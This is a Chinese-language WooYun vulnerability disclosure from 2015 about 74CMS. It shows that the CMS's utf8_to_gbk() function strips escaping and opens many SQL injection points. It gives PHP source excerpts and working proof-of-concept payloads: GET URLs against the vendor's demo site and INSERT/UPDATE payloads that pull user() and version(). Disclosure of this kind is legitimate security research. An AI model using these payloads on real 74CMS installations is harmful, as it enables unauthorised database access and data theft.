当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122057

漏洞标题:74CMS 20150423最新版高危逻辑设计缺陷导致的安全问题(官方demo演示)

相关厂商:74c,s.com

漏洞作者: 路人甲

提交时间:2015-06-23 17:14

修复时间:2015-09-25 09:30

公开时间:2015-09-25 09:30

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-27: 厂商已经确认,细节仅向厂商公开
2015-06-30: 细节向第三方安全合作伙伴开放
2015-08-21: 细节向核心白帽子及相关领域专家公开
2015-08-31: 细节向普通白帽子公开
2015-09-10: 细节向实习白帽子公开
2015-09-25: 细节向公众公开

简要描述:

74CMS最新版高危逻辑设计缺陷

详细说明:

74CMS最新版在处理转码现在使用的utf8_to_gbk()函数,看过74CMS的都知道之前用的iconv函数被雨牛报过漏洞,现在里面使用了stripslashes函数:

//编码转换
function utf8_to_gbk($utfstr) {
$utfstr=stripslashes($utfstr);//使用stripslashes函数可以干掉GPC的转义
if(is_numeric($utfstr)){
return $utfstr;
}
global $UC2GBTABLE;
$okstr = '';
if(empty($UC2GBTABLE)) {
define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR);
$filename = CODETABLEDIR.'gb-unicode.table';
$fp = fopen($filename, 'rb');
while($l = fgets($fp,15)) {
$UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6));
}
fclose($fp);
}
$okstr = '';
$ulen = strlen($utfstr);
for($i=0; $i<$ulen; $i++) {
$c = $utfstr[$i];
$cb = decbin(ord($utfstr[$i]));
if(strlen($cb)==8) {
$csize = strpos(decbin(ord($cb)),'0');
for($j = 0; $j < $csize; $j++) {
$i++;
$c .= $utfstr[$i];
}
$c = utf8_to_unicode($c);
if(isset($UC2GBTABLE[$c])) {
$c = dechex($UC2GBTABLE[$c]+0x8080);
$okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3]));
} else {
$okstr .= '&#'.$c.';';
}
} else {
$okstr .= $c;
}
}
$okstr = trim($okstr);
return addslashes_deep($okstr);//返回的时候又使用了addslashes函数,我们跟进看看
}


现在存在两种情况:
1.GPC开启,stripslashes函数干掉GPC的转义;
2.GPC关闭,但是有全局转义的函数,stripslashes干掉全局转义;
我们跟进addslashes_deep函数:

function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc())
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}


主要逻辑在else里:
1.GPC开启,直接使用mystrip_tags函数处理,然后返回;
2.GPC关闭,再次使用addslashes函数进行转义处理,然后返回;
也就是说如果GPC开启,那么使用stripslashes函数直接就生吞GPC?吓得我一身冷汗...我们再跟进mystrip_tags函数看看有没有过滤:

/**
* xss过滤函数
* @param $string
* @return string
*/
function mystrip_tags($string)
{
$string = new_html_special_chars($string);
$string = remove_xss($string);
return $string;
}
function new_html_special_chars($string) {
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
$string = strip_tags($string);
return $string;
}


发现仅仅简单过滤xss,那么注入就来了!
我们全局搜索下看使用utf8_to_gbk()函数处理的条数,竟然有82条:

11.jpg

漏洞证明:

注入1./plus/ajax_common.php

elseif($act=="hotword")
{
if (empty($_GET['query']))
{
exit();
}
$gbk_query=trim($_GET['query']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$gbk_query=utf8_to_gbk($gbk_query);
}
$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";
$result = $db->query($sql);
... ...


POC:http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E4%BC%9A%E8%AE%A1%%27%20and%20w_hot%20like%20%27%1

12.jpg


sqlmap直接跑无压力,就是这么暴力,就是这么任性:

13.jpg


注入2./plus/ajax_street.php

elseif($act == 'key')
{
$key=trim($_GET['key']);
if (!empty($key))
{
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key);
$result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");
... ...


POC:http://demo.74cms.com/plus/ajax_street.php?act=key&key=%E5%BB%BA%E8%AE%BE%%27%20and%20c_name%20like%20%27%%E5%BB%BA%E8%AE%BE

33.jpg


4.jpg


注入3./plus/ajax_user.php

elseif($act =='check_usname')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$usname=trim($_POST['usname']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$usname=utf8_to_gbk($usname);
}
$user=get_user_inusername($usname);
... ...
跟进get_user_inusername
function get_user_inusername($username)
{
global $db;
$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";
return $db->getone($sql);
}


直接sqlmap验证,我们注册一个账户叫Tester

55.jpg


6.jpg


注入4./plus/ajax_user.php

elseif($act == 'check_email')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$email=trim($_POST['email']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$email=utf8_to_gbk($email);
}
$user=get_user_inemail($email);
... ...
跟进get_user_inemail
function get_user_inemail($email)
{
global $db;
return $db->getone("select * from ".table('members')." where email = '{$email}' LIMIT 1");
}


同样用注册邮箱88888@qq.com测试

y.jpg


y1.jpg


注入5./user/user_apply_jobs.php

elseif ($act=="app_save")
{
$jobsid=isset($_POST['jobsid'])?$_POST['jobsid']:exit("出错了");
$resumeid=isset($_POST['resumeid'])?intval($_POST['resumeid']):exit("出错了");
$notes=isset($_POST['notes'])?trim($_POST['notes']):"";
$pms_notice=intval($_POST['pms_notice']);
$jobsarr=app_get_jobs($jobsid);
if (empty($jobsarr))
{
exit("职位丢失");
}
$resume_basic=get_resume_basic($_SESSION['uid'],$resumeid);
$resume_basic = array_map("addslashes", $resume_basic);
if (empty($resume_basic))
{
exit("简历丢失");
}
$i=0;
foreach($jobsarr as $jobs)
{
$jobs = array_map("addslashes", $jobs);
if (check_jobs_apply($jobs['id'],$resumeid,$_SESSION['uid']))
{
continue ;
}
if ($resume_basic['display_name']=="2")
{
$personal_fullname="N".str_pad($resume_basic['id'],7,"0",STR_PAD_LEFT);
}
elseif($resume_basic['display_name']=="3")
{
$personal_fullname=cut_str($resume_basic['fullname'],1,0,"**");
}
else
{
$personal_fullname=$resume_basic['fullname'];
}
$addarr['resume_id']=$resumeid;
$addarr['resume_name']=$personal_fullname;
$addarr['personal_uid']=intval($_SESSION['uid']);
$addarr['jobs_id']=$jobs['id'];
$addarr['jobs_name']=$jobs['jobs_name'];
$addarr['company_id']=$jobs['company_id'];
$addarr['company_name']=$jobs['companyname'];
$addarr['company_uid']=$jobs['uid'];
$addarr['notes']= $notes;
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$addarr['notes']=utf8_to_gbk($addarr['notes']);
}
$addarr['apply_addtime']=time();
$addarr['personal_look']=1;
if (inserttable(table('personal_jobs_apply'),$addarr))
//是个insert型注入,请看下面实战分析
... ...


注入5有点略长,需要注册三个账户:求职者A(HunterA),求职者B(HunterB)和企业C(HackerE)
首先HunterA申请HackerE发布的职位

111.jpg


然后点击投递后抓包,上insert型的payload狙击:

1111',1434898210,1),('3', 'HunterB', '4', '1', user(), '1', version(), '2', '1111


22.jpg


HackerE登录后即可成功获取注入信息

33.jpg


注入6./user/user_invited.php

$addarr['resume_name']=$resume['fullname'];
}
$addarr['resume_uid']=$resume['uid'];
$addarr['company_id']=$jobs['company_id'];
$addarr['company_addtime']=$jobs['company_addtime'];
$addarr['company_name']=$jobs['companyname'];
$addarr['company_uid']=$_SESSION['uid'];
$addarr['jobs_id']=$jobs['id'];
$addarr['jobs_name']=$jobs['jobs_name'];
$addarr['jobs_addtime']=$jobs['addtime'];
$addarr['notes']= $notes;
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$addarr['notes']=utf8_to_gbk($addarr['notes']);
}
$addarr['personal_look']= 1;
$addarr['interview_addtime']=time();
$resume_user=get_user_info($resume['uid']);
$resume_user = array_map("addslashes",$resume_user);
if ($_CFG['operation_mode']=="2")
{
inserttable(table('company_interview'),$addarr);
//同注入5,同为$addarr的insert注入


注入7./user/user_report.php

elseif ($act=="app_save")
{
$setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了");
$setsqlarr['jobs_id']=$_POST['jobs_id']?intval($_POST['jobs_id']):exit("出错了");
$setsqlarr['jobs_name']=trim($_POST['jobs_name'])?trim($_POST['jobs_name']):exit("出错了");
$setsqlarr['jobs_addtime']=intval($_POST['jobs_addtime']);
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['addtime']=time();
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);
$setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']);
}
$jobsarr=app_get_jobs($setsqlarr['jobs_id']);
if (empty($jobsarr))
{
exit("职位丢失");
}
else
{
$insert_id = inserttable(table('report'),$setsqlarr,1);
//很明显,又是inset注入


注入8./user/user_report_resume.php

elseif ($act=="app_save")
{
$setsqlarr['content']=trim($_POST['content'])?trim($_POST['content']):exit("出错了");
$setsqlarr['resume_id']=$_POST['resume_id']?intval($_POST['resume_id']):exit("出错了");
$setsqlarr['title']=trim($_POST['full_name'])?trim($_POST['full_name']):exit("出错了");
$setsqlarr['resume_addtime']=intval($_POST['resume_addtime']);
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['addtime']=time();
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);
$setsqlarr['title']=utf8_to_gbk($setsqlarr['title']);
}
$resume=get_resume_basic($setsqlarr['resume_id']);
if (empty($resume))
{
exit("简历丢失");
}
else
{
$insert_id = inserttable(table('report_resume'),$setsqlarr,1);
//insert注入


注入9./user/company/company_info.php(该文件注入点太多,需要注册企业账户,也不赘述)

elseif ($act=='company_profile_save')
{

$uid=intval($_SESSION['uid']);
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('您没有输入企业名称!');
check_word($_CFG['filter'],$setsqlarr['companyname'])?exit($_CFG['filter_tips']):'';
$setsqlarr['nature']=trim($_POST['nature'])?intval($_POST['nature']):exit('您选择企业性质!');
$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));
$setsqlarr['trade']=trim($_POST['trade'])?intval($_POST['trade']):exit('您选择所属行业!');
$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));
$setsqlarr['district']=intval($_POST['district'])>0?intval($_POST['district']):exit('您选择所属地区!');
$setsqlarr['sdistrict']=intval($_POST['sdistrict']);
$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));
if (intval($_POST['street'])>0)
{
$setsqlarr['street']=intval($_POST['street']);
$setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn']));
}
$setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('您选择公司规模!');
$setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn']));
$setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered']));
$setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency']));
$setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('请填写通讯地址!');
check_word($_CFG['filter'],$setsqlarr['address'])?exit($_CFG['filter_tips']):'';
$setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('请填写联系人!');
check_word($_CFG['filter'],$setsqlarr['contact'])?exit($_CFG['filter_tips']):'';
$setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('请填写联系电话!');
check_word($_CFG['filter'],$setsqlarr['telephone'])?exit($_CFG['filter_tips']):'';
$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写联系邮箱!');
check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):'';
$setsqlarr['website']=utf8_to_gbk(trim($_POST['website']));
check_word($_CFG['filter'],$setsqlarr['website'])?exit($_CFG['filter_tips']):'';
$setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('请填写公司简介!');
check_word($_CFG['filter'],$setsqlarr['contents'])?exit($_CFG['filter_tips']):'';
$setsqlarr['yellowpages']=intval($_POST['yellowpages']);


$setsqlarr['contact_show']=intval($_POST['contact_show']);
$setsqlarr['email_show']=intval($_POST['email_show']);
$setsqlarr['telephone_show']=intval($_POST['telephone_show']);
$setsqlarr['address_show']=intval($_POST['address_show']);

if ($_CFG['company_repeat']=="0")
{
$info=$db->getone("SELECT uid FROM ".table('company_profile')." WHERE companyname ='{$setsqlarr['companyname']}' AND uid<>'{$_SESSION['uid']}' LIMIT 1");


注入点10./user/personal/personal_resume.php(注入点很多,update型注入点)
再来一处update型注入点

elseif ($act=='ajax_save_basic')
{
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['telephone']=trim($_POST['mobile'])?trim($_POST['mobile']):exit('请填写手机号!');
$go_verify=0;
if($user['mobile_audit']==0){
$verifycode=trim($_POST['verifycode']);
if($verifycode){
if (empty($_SESSION['mobile_rand']) || $verifycode<>$_SESSION['mobile_rand'])
{
exit("手机验证码错误");
}
else
{
$verifysqlarr['mobile'] = $setsqlarr['telephone'];
$verifysqlarr['mobile_audit'] = 1;
$go_verify=1;
updatetable(table('members'),$verifysqlarr," uid='{$setsqlarr['uid']}'");
unset($verifysqlarr);
}
}
unset($_SESSION['verify_mobile'],$_SESSION['mobile_rand']);
}
$setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"未命名简历";
check_word($_CFG['filter'],$setsqlarr['title'])?exit($_CFG['filter_tips']):'';
$setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('请填写姓名!');
check_word($_CFG['filter'],$setsqlarr['fullname'])?exit($_CFG['filter_tips']):'';
$setsqlarr['display_name']=intval($_POST['display_name']);
$setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):exit('请选择性别!');
$setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn']));
$setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):exit('请正确填写出生年份');
$setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('请选择现居住地!');
$setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn']));
$setsqlarr['education']=intval($_POST['education'])?intval($_POST['education']):exit('请选择学历');
$setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn']));
$setsqlarr['experience']=intval($_POST['experience'])?intval($_POST['experience']):exit('请选择工作经验');
$setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn']));
$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('请填写邮箱!');
check_word($_CFG['filter'],$setsqlarr['email'])?exit($_CFG['filter_tips']):'';
$setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0;
$setsqlarr['height']=intval($_POST['height']);
$setsqlarr['householdaddress']=trim($_POST['householdaddress']);
$setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn']));
$setsqlarr['marriage']=intval($_POST['marriage']);
$setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn']));
$setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs']))?utf8_to_gbk(trim($_POST['intention_jobs'])):exit('请选择意向职位!');
$setsqlarr['trade']=$_POST['trade']?trim($_POST['trade']):exit('请选择期望行业!');
$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));
$setsqlarr['district']=trim($_POST['district'])?intval($_POST['district']):exit('请选择期望工作地区!');
$setsqlarr['sdistrict']=intval($_POST['sdistrict']);
$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));
$setsqlarr['nature']=intval($_POST['nature'])?intval($_POST['nature']):exit('请选择期望岗位性质!');
$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));
$setsqlarr['wage']=intval($_POST['wage'])?intval($_POST['wage']):exit('请选择期望薪资!');
$setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn']));
$setsqlarr['refreshtime']=$timestamp;
$_CFG['audit_edit_resume']!="-1"?$setsqlarr['audit']=intval($_CFG['audit_edit_resume']):"";
updatetable(table('resume'),$setsqlarr," id='".intval($_REQUEST['pid'])."' AND uid='{$setsqlarr['uid']}'");


修改我个人简历后抓包,update注入,覆盖掉可控的telephone变量,POC如下:

fullname=HunterA', telephone = user(), sex='1


z.jpg


预览简历发现telephone字段成功注出

z1.jpg


注入11、12./user/plus/ajax_user.php

elseif($act =='check_usname')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$usname=trim($_POST['usname']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$usname=utf8_to_gbk($usname);//注入11
}
$user=get_user_inusername($usname);
if (defined('UC_API'))
{
include_once(QISHI_ROOT_PATH.'uc_client/client.php');
if (uc_user_checkname($usname)===1 && empty($user))
{
exit("true");
}
else
{
exit("false");
}
}
empty($user)?exit("true"):exit("false");
}
elseif($act == 'check_email')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$email=trim($_POST['email']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$email=utf8_to_gbk($email);//注入12.
}
$user=get_user_inemail($email);
if (defined('UC_API'))
{
include_once(QISHI_ROOT_PATH.'uc_client/client.php');
if (uc_user_checkemail($email)===1 && empty($user))
{
exit("true");
}
else
{
exit("false");
}
}
empty($user)?exit("true"):exit("false");
}


zh.jpg


zh.jpg


注入13-15./wap/personal/wap_user.php、/wap/personal/wap_apply.php、/wap/company/wap_company_jobs.php
wap端的功能存在同样问题

// 修改简历名
elseif($act == 'resume_name_save')
{
$smarty->cache = false;
$_POST=array_map("utf8_to_gbk", $_POST);
$resume_id=intval($_POST["resume_id"]);
$uid=intval($_SESSION["uid"]);
$title=trim($_POST['title'])?trim($_POST['title']):exit("请输入简历名称");
$sql="update ".table("resume")." set title='$title' where id=$resume_id and uid=$uid ";
if($db->query($sql)){
exit("ok");
}else{
exit("err");
}


我们看到是个update型的注入,由于是简历,那么我们可以在其它字段显示出来,后边的引号再用引号闭合即可!
查看数据库中resume表的字段,那么就使用fullname字段出注入数据,sex字段闭合后面单引号

0.jpg


在个人简历处,修改简历名字并抓包,POC为title=bob',fullname=user(),sex='1

0.jpg


查看基本信息,发现成功获取当前的用户:

0.jpg

修复方案:

stripslashes函数的使用要谨慎谨慎!
生吞GPC, 绕过全局防御!
可否给个精华

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-27 09:29

厂商回复:

最新状态:

暂无